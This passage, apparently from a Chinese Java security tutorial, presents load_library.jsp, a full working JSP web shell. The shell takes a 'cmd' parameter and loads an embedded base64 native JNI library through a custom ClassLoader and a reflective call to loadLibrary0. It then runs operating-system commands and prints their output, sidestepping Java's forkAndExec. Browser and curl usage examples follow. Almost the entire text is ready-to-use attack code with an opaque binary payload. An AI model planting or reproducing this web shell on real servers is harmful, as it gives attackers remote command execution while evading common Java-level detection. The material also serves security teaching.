Java可以通过JNI的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了。至于如何写JNI动态链接库写我们将在JNI章节中详解。

    load_library.jsp命令执行测试(不依赖Java的forkAndExec):
    **

    1. <%--
    2. Created by IntelliJ IDEA.
    3. User: yz
    4. Date: 2019/12/6
    5. Time: 4:59 下午
    6. To change this template use File | Settings | File Templates.
    7. --%>
    8. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    9. <%@ page import="java.io.File" %>
    10. <%@ page import="java.lang.reflect.Method" %>
    11. <%@ page import="java.io.IOException" %>
    12. <%@ page import="java.io.FileOutputStream" %>
    13. <%!
    14. private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
    15. /**
    16. * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
    17. * 只有一个public static native String exec(String cmd);的方法
    18. */
    19. private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
    20. -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
    21. 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
    22. 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
    23. 101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
    24. 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
    25. 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
    26. 99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
    27. 101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
    28. 99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
    29. 111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
    30. 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
    31. 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
    32. 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
    33. 9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    34. };
    35. // JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试,其他系统请自行编译
    36. private static final String COMMAND_JNI_FILE_BYTES = "z/rt/gcAAAEDAAAABgAAAA8AAACABQAAhYARAAAAAAAZAAAAKAIAAF9fVEVYVAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAUAAAAFAAAABgAAAAAAAABfX3RleHQAAAAAAAAAAAAAX19URVhUAAAAAAAAAAAAAMAIAAAAAAAA7gUAAAAAAADACAAABAAAAAAAAAAAAAAAAAQAgAAAAAAAAAAAAAAAAF9fc3R1YnMAAAAAAAAAAABfX1RFWFQAAAAAAAAAAAAArg4AAAAAAABIAAAAAAAAAK4OAAABAAAAAAAAAAAAAAAIBACAAAAAAAYAAAAAAAAAX19zdHViX2hlbHBlcgAAAF9fVEVYVAAAAAAAAAAAAAD4DgAAAAAAAHQAAAAAAAAA+A4AAAIAAAAAAAAAAAAAAAAEAIAAAAAAAAAAAAAAAABfX2djY19leGNlcHRfdGFiX19URVhUAAAAAAAAAAAAAGwPAAAAAAAAKAAAAAAAAABsDwAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF9fY3N0cmluZwAAAAAAAABfX1RFWFQAAAAAAAAAAAAAlA8AAAAAAAACA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVSInlSIHsMAEAAEiLBTYHAABIiwBIiUX4SIm9YP///0iJtVj///9IiZVQ////SIO9UP///wAPhEYBAABIi71g////SIu1UP///0iNlU/////opAUAAEiJhUD///9Ii71A////SI01aQYAAOjABQAASImFOP///0iDvTj///8AD4T4AAAASI29IP///+ivAQAASIuVOP///0iNvXD///++gAAAAOh1BQAASImFCP///+kAAAAASIuFCP///0iD+AAPhEQAAABIjb0g////SI21cP///+iHAQAASImFAP///+kAAAAA6af///+J0UiJhRj///+JjRT///9Ijb0g////6AEFAADpbgAAAEiLvTj////oFAUAAImF/P7//+kAAAAASIu9YP///0iNhSD///9Iib3w/v//SInH6JIBAABIi73w/v//SInG6KcEAABIiYXo/v//6QAAAABIi4Xo/v//SImFaP///0iNvSD////okwQAAOkVAAAA6UUAAADpAAAAAEjHhWj///8AAAAASIuFaP///0iLDa0FAABIiwlIi1X4SDnRSImF4P7//w+FLQAAAEiLheD+//9IgcQwAQAAXcNIi70Y////6CAEAAAPC0iJx0iJldj+///oEQEAAOg0BAAADwtmLg8fhAAAAAAAVUiJ5UiD7DBIiX34SIl18EiJVehIi1X4SIsySIu2SAUAAEiLffBIi0XoSIl94EiJ10iLVeBIiXXYSInWSInCSItF2P/QSIPEMF3DDx9EAABVSInlSIPsEEiJffhIi3346KsAAABIg8QQXcMPH0QAAFVIieVIg+wQSIl9+EiJdfBIi334SIt18OiDAwAASIPEEF3DZi4PH4QAAAAAAA8fAFVIieVIg+wgSIl9+EiJdfBIi3X4SIs+SI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SWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19nZXRfbG9uZ19wb2ludGVyRXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RFdgBfX1pOS1N0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0VSUzFfAF9fWk5TdDNfXzFMOWFkZHJlc3NvZklLY0VFUFRfUlMyXwBHQ0NfZXhjZXB0X3RhYmxlMABfX2R5bGRfcHJpdmF0ZQAA";
    37. /**
    38. * 获取JNI链接库目录
    39. * @return 返回缓存JNI的临时目录
    40. */
    41. File getTempJNILibFile() {
    42. File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
    43. if (!jniDir.exists()) {
    44. jniDir.mkdir();
    45. }
    46. return new File(jniDir, "libcmd.lib");
    47. }
    48. /**
    49. * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
    50. * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
    51. * @param str
    52. * @return
    53. */
    54. byte[] base64Decode(String str) {
    55. try {
    56. try {
    57. Class clazz = Class.forName("sun.misc.BASE64Decoder");
    58. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    59. } catch (ClassNotFoundException e) {
    60. Class clazz = Class.forName("java.util.Base64");
    61. Object decoder = clazz.getMethod("getDecoder").invoke(null);
    62. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    63. }
    64. } catch (Exception e) {
    65. return null;
    66. }
    67. }
    68. /**
    69. * 写JNI链接库文件
    70. * @param base64 JNI动态库Base64
    71. * @return 返回是否写入成功
    72. */
    73. void writeJNILibFile(String base64) throws IOException {
    74. if (base64 != null) {
    75. File jniFile = getTempJNILibFile();
    76. if (!jniFile.exists()) {
    77. byte[] bytes = base64Decode(base64);
    78. if (bytes != null) {
    79. FileOutputStream fos = new FileOutputStream(jniFile);
    80. fos.write(bytes);
    81. fos.flush();
    82. fos.close();
    83. }
    84. }
    85. }
    86. }
    87. %>
    88. <%
    89. // 需要执行的命令
    90. String cmd = request.getParameter("cmd");
    91. // JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值
    92. String jniBytes = request.getParameter("jni");
    93. // JNI路径
    94. File jniFile = getTempJNILibFile();
    95. ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
    96. if (loader == null) {
    97. loader = new ClassLoader(this.getClass().getClassLoader()) {
    98. @Override
    99. protected Class<?> findClass(String name) throws ClassNotFoundException {
    100. try {
    101. return super.findClass(name);
    102. } catch (ClassNotFoundException e) {
    103. return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
    104. }
    105. }
    106. };
    107. writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
    108. application.setAttribute("__LOADER__", loader);
    109. }
    110. try {
    111. // load命令执行类
    112. Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
    113. Object loadLib = application.getAttribute("__LOAD_LIB__");
    114. if (loadLib == null || !((Boolean) loadLib)) {
    115. Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
    116. loadLibrary0Method.setAccessible(true);
    117. loadLibrary0Method.invoke(loader, commandClass, jniFile);
    118. application.setAttribute("__LOAD_LIB__", true);
    119. }
    120. String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
    121. out.println("<pre>");
    122. out.println(content);
    123. out.println("</pre>");
    124. } catch (Exception e) {
    125. out.println(e.toString());
    126. throw e;
    127. }
    128. %>

    load_library.jsp默认提供了一个MacOSXJNI库字符串Demo其他系统需要自行编译:com_anbai_sec_cmd_CommandExecution.cpp,编译方式参考后面的JNI章节。load_library.jsp接收两个参数:cmdjni,参数描述:

    1. cmd需要执行的本地命令
    2. jni 动态链接库文件Base64+URL编码后的字符串(urlEncode(base64Encode(jniFile))),jni参数默认可以不传但是需要手动修改jsp中的COMMAND_JNI_FILE_BYTES变量,jni参数只需要传一次,第二次请求不需要带上。

    浏览器请求:
    http://localhost:8080/load_library.jsp?cmd=ls
    命令行(POST传jni参数方式):

    1. curl http://localhost:8080/load_library.jsp?cmd=ifconfig -d "jni=JNI文件编码后的字符串"

    浏览器访问load_library.jsp执行命令测试:
    7. JNI命令执行 - 图1

    这个JNI示例Demo结合了Java反射ClassLoader机制JNI三个知识点,相对新手来说会有较大难度,这里不做详细讲解,在后面的对应的章节将做出详细解读。